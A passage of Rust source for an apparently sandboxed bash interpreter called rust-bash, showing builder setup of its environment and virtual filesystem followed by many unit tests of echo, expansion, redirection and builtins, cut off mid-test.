Some(parent) = p.parent()\n                && parent != Path::new(\"/\")\n            {\n                fs.mkdir_p(parent)?;\n            }\n            fs.write_file(p, content)?;\n        }\n\n        let mut commands = commands::register_default_commands();\n        for cmd in self.custom_commands {\n            commands.insert(cmd.name().to_string(), cmd);\n        }\n\n        // Insert default environment variables (caller-provided values take precedence)\n        let mut env_map = self.env;\n        let defaults: &[(&str, &str)] = &[\n            (\"PATH\", interpreter::DEFAULT_PATH),\n            (\"USER\", interpreter::DEFAULT_USER),\n            (\"HOSTNAME\", interpreter::DEFAULT_HOSTNAME),\n            (\"OSTYPE\", interpreter::DEFAULT_OSTYPE),\n            (\"SHELL\", interpreter::DEFAULT_SHELL_PATH),\n            (\"BASH\", interpreter::DEFAULT_SHELL_PATH),\n            (\"BASH_VERSION\", interpreter::DEFAULT_BASH_VERSION),\n            (\"OLDPWD\", \"\"),\n            (\"TERM\", interpreter::DEFAULT_TERM),\n        ];\n        for &(key, value) in defaults {\n            env_map\n                .entry(key.to_string())\n                .or_insert_with(|| value.to_string());\n        }\n        if !self.env_explicit {\n            env_map\n                .entry(\"HOME\".to_string())\n                .or_insert_with(|| interpreter::DEFAULT_HOME.to_string());\n        }\n        env_map\n            .entry(\"PWD\".to_string())\n            .or_insert_with(|| cwd.clone());\n\n        setup_default_filesystem(fs.as_ref(), &env_map, &commands)?;\n\n        let mut env: HashMap<String, Variable> = env_map\n            .into_iter()\n            .map(|(k, v)| {\n                (\n                    k,\n                    Variable {\n                        value: VariableValue::Scalar(v),\n                        attrs: VariableAttrs::EXPORTED,\n                    },\n                )\n            })\n            .collect();\n\n        // Non-exported shell variables with default values\n        for (name, val) in &[(\"OPTIND\", \"1\"), (\"OPTERR\", \"1\")] {\n            env.entry(name.to_string()).or_insert_with(|| Variable {\n                value: VariableValue::Scalar(val.to_string()),\n                attrs: VariableAttrs::empty(),\n            });\n        }\n\n        let mut state = InterpreterState {\n            fs,\n            env,\n            cwd,\n            functions: HashMap::new(),\n            last_exit_code: 0,\n            commands,\n            shell_opts: ShellOpts::default(),\n            shopt_opts: ShoptOpts::default(),\n            limits: self.limits.unwrap_or_default(),\n            counters: ExecutionCounters::default(),\n            network_policy: self.network_policy.unwrap_or_default(),\n            should_exit: false,\n            abort_command_list: false,\n            loop_depth: 0,\n            control_flow: None,\n            positional_params: Vec::new(),\n            shell_name: \"rust-bash\".to_string(),\n            shell_pid: 1000,\n            bash_pid: 1000,\n            parent_pid: 1,\n            next_process_id: 1001,\n            last_background_pid: None,\n            last_background_status: None,\n            interactive_shell: false,\n            invoked_with_c: false,\n            random_seed: 0,\n            local_scopes: Vec::new(),\n            temp_binding_scopes: Vec::new(),\n            in_function_depth: 0,\n            source_depth: 0,\n            getopts_subpos: 0,\n            getopts_args_signature: String::new(),\n            traps: HashMap::new(),\n            in_trap: false,\n            errexit_suppressed: 0,\n            errexit_bang_suppressed: 0,\n            stdin_offset: 0,\n            current_stdin_persistent_fd: None,\n            dir_stack: Vec::new(),\n            command_hash: HashMap::new(),\n            aliases: HashMap::new(),\n            current_lineno: 0,\n            current_source: \"main\".to_string(),\n            current_source_text: String::new(),\n            last_verbose_line: 0,\n            shell_start_time: Instant::now(),\n            last_argument: String::new(),\n            call_stack: Vec::new(),\n            machtype: \"x86_64-pc-linux-gnu\".to_string(),\n            hosttype: \"x86_64\".to_string(),\n            persistent_fds: HashMap::new(),\n            persistent_fd_offsets: HashMap::new(),\n            next_auto_fd: 10,\n            proc_sub_counter: 0,\n            proc_sub_prealloc: HashMap::new(),\n            pipe_stdin_bytes: None,\n            pending_cmdsub_stderr: String::new(),\n            pending_test_stderr: String::new(),\n            fatal_expansion_error: false,\n            last_command_had_error: false,\n            last_status_immune_to_errexit: false,\n            script_source: None,\n        };\n        interpreter::ensure_shell_internal_vars(&mut state);\n\n        Ok(RustBash { state })\n    }\n}\n\n/// Create standard directories and command stubs in the VFS.\n///\n/// Directories and files are only created when they don't already exist,\n/// so user-seeded content is never clobbered.\nfn setup_default_filesystem(\n    fs: &dyn VirtualFs,\n    env: &HashMap<String, String>,\n    commands: &HashMap<String, Arc<dyn commands::VirtualCommand>>,\n) -> Result<(), RustBashError> {\n    // Standard directories\n    for dir in &[\"/bin\", \"/usr/bin\", \"/tmp\", \"/dev\"] {\n        let _ = fs.mkdir_p(Path::new(dir));\n    }\n    let _ = fs.chmod(Path::new(\"/tmp\"), 0o1777);\n    let _ = fs.chmod(Path::new(\"/dev\"), 0o755);\n\n    // HOME directory\n    if let Some(home) = env.get(\"HOME\") {\n        let _ = fs.mkdir_p(Path::new(home));\n    }\n\n    // /dev special files\n    for name in &[\"null\", \"zero\", \"stdin\", \"stdout\", \"stderr\"] {\n        let path_str = format!(\"/dev/{name}\");\n        let p = Path::new(&path_str);\n        if !fs.exists(p) {\n            fs.write_file(p, b\"\")?;\n        }\n        let mode = match *name {\n            \"zero\" | \"null\" => 0o20666,\n            _ => 0o20666,\n        };\n        let _ = fs.chmod(p, mode);\n    }\n\n    for prefix in [\"/bin\", \"/usr/bin\"] {\n        // Command stubs for each registered command\n        for name in commands.keys() {\n            let path_str = format!(\"{prefix}/{name}\");\n            let p = Path::new(&path_str);\n            if !fs.exists(p) {\n                let content = format!(\"#!/bin/bash\\n# built-in: {name}\\n\");\n                fs.write_file(p, content.as_bytes())?;\n                fs.chmod(p, 0o755)?;\n            }\n        }\n\n        // Builtin stubs (skip names unsuitable as filenames)\n        for &name in interpreter::builtins::builtin_names() {\n            if matches!(name, \".\" | \":\" | \"colon\") {\n                continue;\n            }\n            let path_str = format!(\"{prefix}/{name}\");\n            let p = Path::new(&path_str);\n            if !fs.exists(p) {\n                let content = format!(\"#!/bin/bash\\n# built-in: {name}\\n\");\n                fs.write_file(p, content.as_bytes())?;\n                fs.chmod(p, 0o755)?;\n            }\n        }\n    }\n\n    Ok(())\n}\n\n#[cfg(test)]\nmod tests {\n    use super::*;\n\n    fn shell() -> RustBash {\n        RustBashBuilder::new().build().unwrap()\n    }\n\n    // ── Exit criteria ───────────────────────────────────────────\n\n    #[test]\n    fn echo_hello_end_to_end() {\n        let mut shell = shell();\n        let result = shell.exec(\"echo hello\").unwrap();\n        assert_eq!(result.stdout, \"hello\\n\");\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stderr, \"\");\n    }\n\n    // ── Echo variants ───────────────────────────────────────────\n\n    #[test]\n    fn echo_multiple_words() {\n        let mut shell = shell();\n        let result = shell.exec(\"echo hello world\").unwrap();\n        assert_eq!(result.stdout, \"hello world\\n\");\n    }\n\n    #[test]\n    fn echo_no_args() {\n        let mut shell = shell();\n        let result = shell.exec(\"echo\").unwrap();\n        assert_eq!(result.stdout, \"\\n\");\n    }\n\n    #[test]\n    fn echo_no_newline() {\n        let mut shell = shell();\n        let result = shell.exec(\"echo -n hello\").unwrap();\n        assert_eq!(result.stdout, \"hello\");\n    }\n\n    #[test]\n    fn echo_escape_sequences() {\n        let mut shell = shell();\n        let result = shell.exec(r\"echo -e 'hello\\nworld'\").unwrap();\n        assert_eq!(result.stdout, \"hello\\nworld\\n\");\n    }\n\n    // ── true / false ────────────────────────────────────────────\n\n    #[test]\n    fn true_command() {\n        let mut shell = shell();\n        let result = shell.exec(\"true\").unwrap();\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(result.stdout, \"\");\n    }\n\n    #[test]\n    fn false_command() {\n        let mut shell = shell();\n        let result = shell.exec(\"false\").unwrap();\n        assert_eq!(result.exit_code, 1);\n    }\n\n    // ── exit ────────────────────────────────────────────────────\n\n    #[test]\n    fn exit_default_code() {\n        let mut shell = shell();\n        let result = shell.exec(\"exit\").unwrap();\n        assert_eq!(result.exit_code, 0);\n    }\n\n    #[test]\n    fn exit_with_code() {\n        let mut shell = shell();\n        let result = shell.exec(\"exit 42\").unwrap();\n        assert_eq!(result.exit_code, 42);\n    }\n\n    #[test]\n    fn exit_stops_subsequent_commands() {\n        let mut shell = shell();\n        let result = shell.exec(\"exit 1; echo should_not_appear\").unwrap();\n        assert_eq!(result.exit_code, 1);\n        assert!(!result.stdout.contains(\"should_not_appear\"));\n    }\n\n    #[test]\n    fn exit_non_numeric_argument() {\n        let mut shell = shell();\n        let result = shell.exec(\"exit foo\").unwrap();\n        assert_eq!(result.exit_code, 2);\n        assert!(result.stderr.contains(\"numeric argument required\"));\n    }\n\n    // ── Command not found ───────────────────────────────────────\n\n    #[test]\n    fn command_not_found() {\n        let mut shell = shell();\n        let result = shell.exec(\"nonexistent_cmd\").unwrap();\n        assert_eq!(result.exit_code, 127);\n        assert!(result.stderr.contains(\"command not found\"));\n    }\n\n    // ── Sequential commands ─────────────────────────────────────\n\n    #[test]\n    fn sequential_commands() {\n        let mut shell = shell();\n        let result = shell.exec(\"echo hello; echo world\").unwrap();\n        assert_eq!(result.stdout, \"hello\\nworld\\n\");\n    }\n\n    #[test]\n    fn sequential_exit_code_is_last() {\n        let mut shell = shell();\n        let result = shell.exec(\"true; false\").unwrap();\n        assert_eq!(result.exit_code, 1);\n    }\n\n    // ── And-or lists ────────────────────────────────────────────\n\n    #[test]\n    fn and_success() {\n        let mut shell = shell();\n        let result = shell.exec(\"true && echo yes\").unwrap();\n        assert_eq!(result.stdout, \"yes\\n\");\n    }\n\n    #[test]\n    fn and_failure_skips() {\n        let mut shell = shell();\n        let result = shell.exec(\"false && echo yes\").unwrap();\n        assert_eq!(result.stdout, \"\");\n        assert_eq!(result.exit_code, 1);\n    }\n\n    #[test]\n    fn or_success_skips() {\n        let mut shell = shell();\n        let result = shell.exec(\"true || echo no\").unwrap();\n        assert_eq!(result.stdout, \"\");\n        assert_eq!(result.exit_code, 0);\n    }\n\n    #[test]\n    fn or_failure_runs() {\n        let mut shell = shell();\n        let result = shell.exec(\"false || echo yes\").unwrap();\n        assert_eq!(result.stdout, \"yes\\n\");\n        assert_eq!(result.exit_code, 0);\n    }\n\n    #[test]\n    fn chained_and_or() {\n        let mut shell = shell();\n        let result = shell.exec(\"false || true && echo yes\").unwrap();\n        assert_eq!(result.stdout, \"yes\\n\");\n        assert_eq!(result.exit_code, 0);\n    }\n\n    // ── Pipeline negation ───────────────────────────────────────\n\n    #[test]\n    fn pipeline_negation_true() {\n        let mut shell = shell();\n        let result = shell.exec(\"! true\").unwrap();\n        assert_eq!(result.exit_code, 1);\n    }\n\n    #[test]\n    fn pipeline_negation_false() {\n        let mut shell = shell();\n        let result = shell.exec(\"! false\").unwrap();\n        assert_eq!(result.exit_code, 0);\n    }\n\n    // ── Variable assignment ─────────────────────────────────────\n\n    #[test]\n    fn bare_assignment() {\n        let mut shell = shell();\n        let result = shell.exec(\"FOO=bar\").unwrap();\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(shell.state.env.get(\"FOO\").unwrap().value.as_scalar(), \"bar\");\n    }\n\n    // ── State persistence ───────────────────────────────────────\n\n    #[test]\n    fn state_persists_across_exec_calls() {\n        let mut shell = shell();\n        shell.exec(\"FOO=hello\").unwrap();\n        assert_eq!(\n            shell.state.env.get(\"FOO\").unwrap().value.as_scalar(),\n            \"hello\"\n        );\n        let result = shell.exec(\"true\").unwrap();\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(\n            shell.state.env.get(\"FOO\").unwrap().value.as_scalar(),\n            \"hello\"\n        );\n    }\n\n    // ── Empty / whitespace input ────────────────────────────────\n\n    #[test]\n    fn empty_input() {\n        let mut shell = shell();\n        let result = shell.exec(\"\").unwrap();\n        assert_eq!(result.stdout, \"\");\n        assert_eq!(result.exit_code, 0);\n    }\n\n    #[test]\n    fn whitespace_only_input() {\n        let mut shell = shell();\n        let result = shell.exec(\"   \").unwrap();\n        assert_eq!(result.stdout, \"\");\n        assert_eq!(result.exit_code, 0);\n    }\n\n    // ── Builder ─────────────────────────────────────────────────\n\n    #[test]\n    fn builder_default_cwd() {\n        let shell = RustBashBuilder::new().build().unwrap();\n        assert_eq!(shell.state.cwd, \"/\");\n    }\n\n    #[test]\n    fn builder_with_cwd() {\n        let shell = RustBashBuilder::new().cwd(\"/home/user\").build().unwrap();\n        assert_eq!(shell.state.cwd, \"/home/user\");\n    }\n\n    #[test]\n    fn builder_with_env() {\n        let mut env = HashMap::new();\n        env.insert(\"HOME\".to_string(), \"/home/test\".to_string());\n        let shell = RustBashBuilder::new().env(env).build().unwrap();\n        assert_eq!(\n            shell.state.env.get(\"HOME\").unwrap().value.as_scalar(),\n            \"/home/test\"\n        );\n    }\n\n    #[test]\n    fn builder_with_files() {\n        let mut files = HashMap::new();\n        files.insert(\"/etc/test.txt\".to_string(), b\"hello\".to_vec());\n        let shell = RustBashBuilder::new().files(files).build().unwrap();\n        let content = shell\n            .state\n            .fs\n            .read_file(Path::new(\"/etc/test.txt\"))\n            .unwrap();\n        assert_eq!(content, b\"hello\");\n    }\n\n    #[test]\n    fn builder_with_custom_command() {\n        use crate::commands::{CommandContext, CommandResult, VirtualCommand};\n\n        struct CustomCmd;\n        impl VirtualCommand for CustomCmd {\n            fn name(&self) -> &str {\n                \"custom\"\n            }\n            fn execute(&self, _args: &[String], _ctx: &CommandContext) -> CommandResult {\n                CommandResult {\n                    stdout: \"custom output\\n\".to_string(),\n                    ..CommandResult::default()\n                }\n            }\n        }\n\n        let mut shell = RustBashBuilder::new()\n            .command(Arc::new(CustomCmd))\n            .build()\n            .unwrap();\n        let result = shell.exec(\"custom\").unwrap();\n        assert_eq!(result.stdout, \"custom output\\n\");\n    }\n\n    // ── Additional edge cases ───────────────────────────────────\n\n    #[test]\n    fn exit_wraps_to_byte_range() {\n        let mut shell = shell();\n        let result = shell.exec(\"exit 256\").unwrap();\n        assert_eq!(result.exit_code, 0);\n    }\n\n    #[test]\n    fn multiple_bare_assignments() {\n        let mut shell = shell();\n        shell.exec(\"A=1 B=2\").unwrap();\n        assert_eq!(shell.state.env.get(\"A\").unwrap().value.as_scalar(), \"1\");\n        assert_eq!(shell.state.env.get(\"B\").unwrap().value.as_scalar(), \"2\");\n    }\n\n    #[test]\n    fn comment_stripping() {\n        let mut shell = shell();\n        let result = shell.exec(\"echo hello # this is a comment\").unwrap();\n        assert_eq!(result.stdout, \"hello\\n\");\n    }\n\n    #[test]\n    fn negation_with_and_or() {\n        let mut shell = shell();\n        let result = shell.exec(\"! false && echo yes\").unwrap();\n        assert_eq!(result.stdout, \"yes\\n\");\n        assert_eq!(result.exit_code, 0);\n    }\n\n    #[test]\n    fn deeply_chained_and_or() {\n        let mut shell = shell();\n        let result = shell.exec(\"true && false || true && echo yes\").unwrap();\n        assert_eq!(result.stdout, \"yes\\n\");\n        assert_eq!(result.exit_code, 0);\n    }\n\n    // ── Variable expansion (Phase 1B) ──────────────────────────────\n\n    #[test]\n    fn expand_simple_variable() {\n        let mut shell = shell();\n        shell.exec(\"FOO=bar\").unwrap();\n        let result = shell.exec(\"echo $FOO\").unwrap();\n        assert_eq!(result.stdout, \"bar\\n\");\n    }\n\n    #[test]\n    fn expand_braced_variable() {\n        let mut shell = shell();\n        shell.exec(\"FOO=bar\").unwrap();\n        let result = shell.exec(\"echo ${FOO}\").unwrap();\n        assert_eq!(result.stdout, \"bar\\n\");\n    }\n\n    #[test]\n    fn expand_unset_variable_is_empty() {\n        let mut shell = shell();\n        let result = shell.exec(\"echo \\\"$UNDEFINED\\\"\").unwrap();\n        assert_eq!(result.stdout, \"\\n\");\n    }\n\n    #[test]\n    fn expand_default_value() {\n        let mut shell = shell();\n        let result = shell.exec(\"echo ${UNSET:-default}\").unwrap();\n        assert_eq!(result.stdout, \"default\\n\");\n    }\n\n    #[test]\n    fn expand_default_not_used_when_set() {\n        let mut shell = shell();\n        shell.exec(\"VAR=hello\").unwrap();\n        let result = shell.exec(\"echo ${VAR:-default}\").unwrap();\n        assert_eq!(result.stdout, \"hello\\n\");\n    }\n\n    #[test]\n    fn expand_assign_default() {\n        let mut shell = shell();\n        let result = shell.exec(\"echo ${UNSET:=fallback}\").unwrap();\n        assert_eq!(result.stdout, \"fallback\\n\");\n        assert_eq!(\n            shell.state.env.get(\"UNSET\").unwrap().value.as_scalar(),\n            \"fallback\"\n        );\n    }\n\n    #[test]\n    fn expand_default_with_variable() {\n        let mut shell = shell();\n        shell.exec(\"FALLBACK=resolved\").unwrap();\n        let result = shell.exec(\"echo ${UNSET:-$FALLBACK}\").unwrap();\n        assert_eq!(result.stdout, \"resolved\\n\");\n    }\n\n    #[test]\n    fn expand_error_if_unset() {\n        let mut shell = shell();\n        let result = shell.exec(\"echo ${UNSET:?missing var}\").unwrap();\n        assert_eq!(result.exit_code, 1);\n        assert!(result.stderr.contains(\"missing var\"));\n        assert!(result.stdout.is_empty());\n    }\n\n    #[test]\n    fn expand_alternative_value() {\n        let mut shell = shell();\n        shell.exec(\"VAR=hello\").unwrap();\n        let result = shell.exec(\"echo ${VAR:+alt}\").unwrap();\n        assert_eq!(result.stdout, \"alt\\n\");\n    }\n\n    #[test]\n    fn expand_alternative_unset_is_empty() {\n        let mut shell = shell();\n        let result = shell.exec(\"echo \\\"${UNSET:+alt}\\\"\").unwrap();\n        assert_eq!(result.stdout, \"\\n\");\n    }\n\n    #[test]\n    fn expand_string_length() {\n        let mut shell = shell();\n        shell.exec(\"VAR=hello\").unwrap();\n        let result = shell.exec(\"echo ${#VAR}\").unwrap();\n        assert_eq!(result.stdout, \"5\\n\");\n    }\n\n    #[test]\n    fn expand_suffix_removal_shortest() {\n        let mut shell = shell();\n        shell.exec(\"FILE=hello.tar.gz\").unwrap();\n        let result = shell.exec(\"echo ${FILE%.*}\").unwrap();\n        assert_eq!(result.stdout, \"hello.tar\\n\");\n    }\n\n    #[test]\n    fn expand_suffix_removal_longest() {\n        let mut shell = shell();\n        shell.exec(\"FILE=hello.tar.gz\").unwrap();\n        let result = shell.exec(\"echo ${FILE%%.*}\").unwrap();\n        assert_eq!(result.stdout, \"hello\\n\");\n    }\n\n    #[test]\n    fn expand_prefix_removal_shortest() {\n        let mut shell = shell();\n        shell.exec(\"PATH_VAR=/a/b/c\").unwrap();\n        let result = shell.exec(\"echo ${PATH_VAR#*/}\").unwrap();\n        assert_eq!(result.stdout, \"a/b/c\\n\");\n    }\n\n    #[test]\n    fn expand_prefix_removal_longest() {\n        let mut shell = shell();\n        shell.exec(\"PATH_VAR=/a/b/c\").unwrap();\n        let result = shell.exec(\"echo ${PATH_VAR##*/}\").unwrap();\n        assert_eq!(result.stdout, \"c\\n\");\n    }\n\n    #[test]\n    fn expand_substitution_first() {\n        let mut shell = shell();\n        shell.exec(\"STR=hello\").unwrap();\n        let result = shell.exec(\"echo ${STR/l/r}\").unwrap();\n        assert_eq!(result.stdout, \"herlo\\n\");\n    }\n\n    #[test]\n    fn expand_substitution_all() {\n        let mut shell = shell();\n        shell.exec(\"STR=hello\").unwrap();\n        let result = shell.exec(\"echo ${STR//l/r}\").unwrap();\n        assert_eq!(result.stdout, \"herro\\n\");\n    }\n\n    #[test]\n    fn expand_substring() {\n        let mut shell = shell();\n        shell.exec(\"STR=hello\").unwrap();\n        let result = shell.exec(\"echo ${STR:1:3}\").unwrap();\n        assert_eq!(result.stdout, \"ell\\n\");\n    }\n\n    #[test]\n    fn expand_uppercase_first() {\n        let mut shell = shell();\n        shell.exec(\"STR=hello\").unwrap();\n        let result = shell.exec(\"echo ${STR^}\").unwrap();\n        assert_eq!(result.stdout, \"Hello\\n\");\n    }\n\n    #[test]\n    fn expand_uppercase_all() {\n        let mut shell = shell();\n        shell.exec(\"STR=hello\").unwrap();\n        let result = shell.exec(\"echo ${STR^^}\").unwrap();\n        assert_eq!(result.stdout, \"HELLO\\n\");\n    }\n\n    #[test]\n    fn expand_lowercase_first() {\n        let mut shell = shell();\n        shell.exec(\"STR=HELLO\").unwrap();\n        let result = shell.exec(\"echo ${STR,}\").unwrap();\n        assert_eq!(result.stdout, \"hELLO\\n\");\n    }\n\n    #[test]\n    fn expand_lowercase_all() {\n        let mut shell = shell();\n        shell.exec(\"STR=HELLO\").unwrap();\n        let result = shell.exec(\"echo ${STR,,}\").unwrap();\n        assert_eq!(result.stdout, \"hello\\n\");\n    }\n\n    // ── Special variables ───────────────────────────────────────────\n\n    #[test]\n    fn expand_exit_status() {\n        let mut shell = shell();\n        shell.exec(\"false\").unwrap();\n        let result = shell.exec(\"echo $?\").unwrap();\n        assert_eq!(result.stdout, \"1\\n\");\n    }\n\n    #[test]\n    fn expand_dollar_dollar() {\n        let mut shell = shell();\n        let result = shell.exec(\"echo $$\").unwrap();\n        assert_eq!(result.stdout, \"1000\\n\");\n    }\n\n    #[test]\n    fn expand_dollar_zero() {\n        let mut shell = shell();\n        let result = shell.exec(\"echo $0\").unwrap();\n        assert_eq!(result.stdout, \"rust-bash\\n\");\n    }\n\n    #[test]\n    fn expand_positional_params() {\n        let mut shell = shell();\n        shell.exec(\"set -- a b c\").unwrap();\n        let result = shell.exec(\"echo $1 $2 $3\").unwrap();\n        assert_eq!(result.stdout, \"a b c\\n\");\n    }\n\n    #[test]\n    fn expand_param_count() {\n        let mut shell = shell();\n        shell.exec(\"set -- a b c\").unwrap();\n        let result = shell.exec(\"echo $#\").unwrap();\n        assert_eq!(result.stdout, \"3\\n\");\n    }\n\n    #[test]\n    fn expand_at_all_params() {\n        let mut shell = shell();\n        shell.exec(\"set -- one two three\").unwrap();\n        let result = shell.exec(\"echo $@\").unwrap();\n        assert_eq!(result.stdout, \"one two three\\n\");\n    }\n\n    #[test]\n    fn expand_star_all_params() {\n        let mut shell = shell();\n        shell.exec(\"set -- one two three\").unwrap();\n        let result = shell.exec(\"echo $*\").unwrap();\n        assert_eq!(result.stdout, \"one two three\\n\");\n    }\n\n    #[test]\n    fn expand_random_is_numeric() {\n        let mut shell = shell();\n        let result = shell.exec(\"echo $RANDOM\").unwrap();\n        let val: u32 = result.stdout.trim().parse().unwrap();\n        assert!(val <= 32767);\n    }\n\n    // ── Tilde expansion ─────────────────────────────────────────────\n\n    #[test]\n    fn tilde_expands_to_home() {\n        let mut env = HashMap::new();\n        env.insert(\"HOME\".to_string(), \"/home/test\".to_string());\n        let mut shell = RustBashBuilder::new().env(env).build().unwrap();\n        let result = shell.exec(\"echo ~\").unwrap();\n        assert_eq!(result.stdout, \"/home/test\\n\");\n    }\n\n    // ── Redirections ────────────────────────────────────────────────\n\n    #[test]\n    fn redirect_stdout_to_file() {\n        let mut shell = shell();\n        shell.exec(\"echo hello > /output.txt\").unwrap();\n        let content = shell.state.fs.read_file(Path::new(\"/output.txt\")).unwrap();\n        assert_eq!(String::from_utf8_lossy(&content), \"hello\\n\");\n    }\n\n    #[test]\n    fn redirect_append() {\n        let mut shell = shell();\n        shell.exec(\"echo hello > /output.txt\").unwrap();\n        shell.exec(\"echo world >> /output.txt\").unwrap();\n        let content = shell.state.fs.read_file(Path::new(\"/output.txt\")).unwrap();\n        assert_eq!(String::from_utf8_lossy(&content), \"hello\\nworld\\n\");\n    }\n\n    #[test]\n    fn redirect_stdin_from_file() {\n        let mut files = HashMap::new();\n        files.insert(\"/input.txt\".to_string(), b\"file contents\\n\".to_vec());\n        let mut shell = RustBashBuilder::new().files(files).build().unwrap();\n        let result = shell.exec(\"cat < /input.txt\").unwrap();\n        assert_eq!(result.stdout, \"file contents\\n\");\n    }\n\n    #[test]\n    fn redirect_stderr_to_file() {\n        let mut shell = shell();\n        shell.exec(\"nonexistent 2> /err.txt\").unwrap();\n        let content = shell.state.fs.read_file(Path::new(\"/err.txt\")).unwrap();\n        assert!(String::from_utf8_lossy(&content).contains(\"command not found\"));\n    }\n\n    #[test]\n    fn redirect_dev_null() {\n        let mut shell = shell();\n        let result = shell.exec(\"echo hello > /dev/null\").unwrap();\n        assert_eq!(result.stdout, \"\");\n    }\n\n    #[test]\n    fn redirect_stderr_to_stdout() {\n        let mut shell = shell();\n        let result = shell.exec(\"nonexistent 2>&1\").unwrap();\n        assert!(result.stdout.contains(\"command not found\"));\n        assert_eq!(result.stderr, \"\");\n    }\n\n    #[test]\n    fn redirect_write_then_cat() {\n        let mut shell = shell();\n        shell.exec(\"echo hello > /test.txt\").unwrap();\n        let result = shell.exec(\"cat /test.txt\").unwrap();\n        assert_eq!(result.stdout, \"hello\\n\");\n    }\n\n    // ── cat command ─────────────────────────────────────────────────\n\n    #[test]\n    fn cat_stdin() {\n        let mut shell = shell();\n        let result = shell.exec(\"echo hello | cat\").unwrap();\n        assert_eq!(result.stdout, \"hello\\n\");\n    }\n\n    #[test]\n    fn cat_file() {\n        let mut files = HashMap::new();\n        files.insert(\"/test.txt\".to_string(), b\"content\\n\".to_vec());\n        let mut shell = RustBashBuilder::new().files(files).build().unwrap();\n        let result = shell.exec(\"cat /test.txt\").unwrap();\n        assert_eq!(result.stdout, \"content\\n\");\n    }\n\n    #[test]\n    fn cat_nonexistent_file() {\n        let mut shell = shell();\n        let result = shell.exec(\"cat /no_such_file.txt\").unwrap();\n        assert_eq!(result.exit_code, 1);\n        assert!(result.stderr.contains(\"No such file\"));\n    }\n\n    #[test]\n    fn cat_line_numbers() {\n        let mut files = HashMap::new();\n        files.insert(\"/test.txt\".to_string(), b\"a\\nb\\nc\\n\".to_vec());\n        let mut shell = RustBashBuilder::new().files(files).build().unwrap();\n        let result = shell.exec(\"cat -n /test.txt\").unwrap();\n        assert!(result.stdout.contains(\"1\\ta\"));\n        assert!(result.stdout.contains(\"2\\tb\"));\n        assert!(result.stdout.contains(\"3\\tc\"));\n    }\n\n    // ── Builtins ────────────────────────────────────────────────────\n\n    #[test]\n    fn cd_changes_cwd() {\n        let mut shell = RustBashBuilder::new().cwd(\"/home/user\").build().unwrap();\n        shell.exec(\"cd /\").unwrap();\n        assert_eq!(shell.state.cwd, \"/\");\n    }\n\n    #[test]\n    fn cd_home() {\n        let mut env = HashMap::new();\n        env.insert(\"HOME\".to_string(), \"/home/test\".to_string());\n        let mut shell = RustBashBuilder::new()\n            .cwd(\"/home/test\")\n            .env(env)\n            .build()\n            .unwrap();\n        shell.exec(\"cd /\").unwrap();\n        shell.exec(\"cd\").unwrap();\n        assert_eq!(shell.state.cwd, \"/home/test\");\n    }\n\n    #[test]\n    fn cd_sets_oldpwd() {\n        let mut shell = RustBashBuilder::new().cwd(\"/home/user\").build().unwrap();\n        shell.exec(\"cd /\").unwrap();\n        assert_eq!(\n            shell.state.env.get(\"OLDPWD\").unwrap().value.as_scalar(),\n            \"/home/user\"\n        );\n    }\n\n    #[test]\n    fn export_creates_exported_var() {\n        let mut shell = shell();\n        shell.exec(\"export FOO=bar\").unwrap();\n        let var = shell.state.env.get(\"FOO\").unwrap();\n        assert_eq!(var.value.as_scalar(), \"bar\");\n        assert!(var.exported());\n    }\n\n    #[test]\n    fn export_marks_existing_var() {\n        let mut shell = shell();\n        shell.exec(\"FOO=bar\").unwrap();\n        assert!(!shell.state.env.get(\"FOO\").unwrap().exported());\n        shell.exec(\"export FOO\").unwrap();\n        assert!(shell.state.env.get(\"FOO\").unwrap().exported());\n    }\n\n    #[test]\n    fn unset_removes_var() {\n        let mut shell = shell();\n        shell.exec(\"FOO=bar\").unwrap();\n        shell.exec(\"unset FOO\").unwrap();\n        assert!(!shell.state.env.contains_key(\"FOO\"));\n    }\n\n    #[test]\n    fn set_options() {\n        let mut shell = shell();\n        shell.exec(\"set -e\").unwrap();\n        assert!(shell.state.shell_opts.errexit);\n        shell.exec(\"set +e\").unwrap();\n        assert!(!shell.state.shell_opts.errexit);\n    }\n\n    #[test]\n    fn set_positional_params() {\n        let mut shell = shell();\n        shell.exec(\"set -- x y z\").unwrap();\n        assert_eq!(shell.state.positional_params, vec![\"x\", \"y\", \"z\"]);\n    }\n\n    #[test]\n    fn shift_positional_params() {\n        let mut shell = shell();\n        shell.exec(\"set -- a b c d\").unwrap();\n        shell.exec(\"shift 2\").unwrap();\n        assert_eq!(shell.state.positional_params, vec![\"c\", \"d\"]);\n    }\n\n    #[test]\n    fn readonly_variable() {\n        let mut shell = shell();\n        shell.exec(\"readonly X=42\").unwrap();\n        let var = shell.state.env.get(\"X\").unwrap();\n        assert_eq!(var.value.as_scalar(), \"42\");\n        assert!(var.readonly());\n        // Bash: assigning to readonly prints error to stderr & sets exit code 1\n        let result = shell.exec(\"X=new\").unwrap();\n        assert_eq!(result.exit_code, 1);\n        assert!(result.stderr.contains(\"readonly\"));\n        // Value unchanged\n        assert_eq!(shell.state.env.get(\"X\").unwrap().value.as_scalar(), \"42\");\n    }\n\n    #[test]\n    fn declare_readonly() {\n        let mut shell = shell();\n        shell.exec(\"declare -r Y=99\").unwrap();\n        assert!(shell.state.env.get(\"Y\").unwrap().readonly());\n    }\n\n    #[test]\n    fn read_from_stdin() {\n        let mut shell = shell();\n        shell.exec(\"echo 'hello world' > /tmp_input\").unwrap();\n        let result = shell.exec(\"read VAR < /tmp_input\").unwrap();\n        assert_eq!(result.exit_code, 0);\n        assert_eq!(\n            shell.state.env.get(\"VAR\").unwrap().value.as_scalar(),\n            \"hello world\"\n        );\n    }\n\n    #[test]\n    fn read_multiple_vars() {\n        let mut shell = shell();\n        shell\n            .exec(\"echo 'one two three four' > /tmp_input\")\n            .unwrap();\n        shell.exec(\"read A B < /tmp_input\").unwrap();\n        assert_eq!(shell.state.env.get(\"A\").unwrap().value.as_scalar(), \"one\");\n        assert_eq!(\n            shell.state.env.get(\"B\").unwrap().value.as_scalar(),\n            \"two three four\"\n        );\n    }\n\n    #[test]\n    fn colon_builtin() {\n        let mut shell = shell();\n        let result = shell.exec(\":\").unwrap();\n        assert_eq!(result.exit_code, 0);\n    }\n\n    // ── Combined features ───────────────────────────────────────────\n\n    #[test]\n    fn variable_in_redirect_target() {\n        let mut shell = shell();\n        shell.exec(\"FILE=/output.txt\").unwrap();\n        shell.exec(\"echo hello > $FILE\").unwrap();\n        let content = 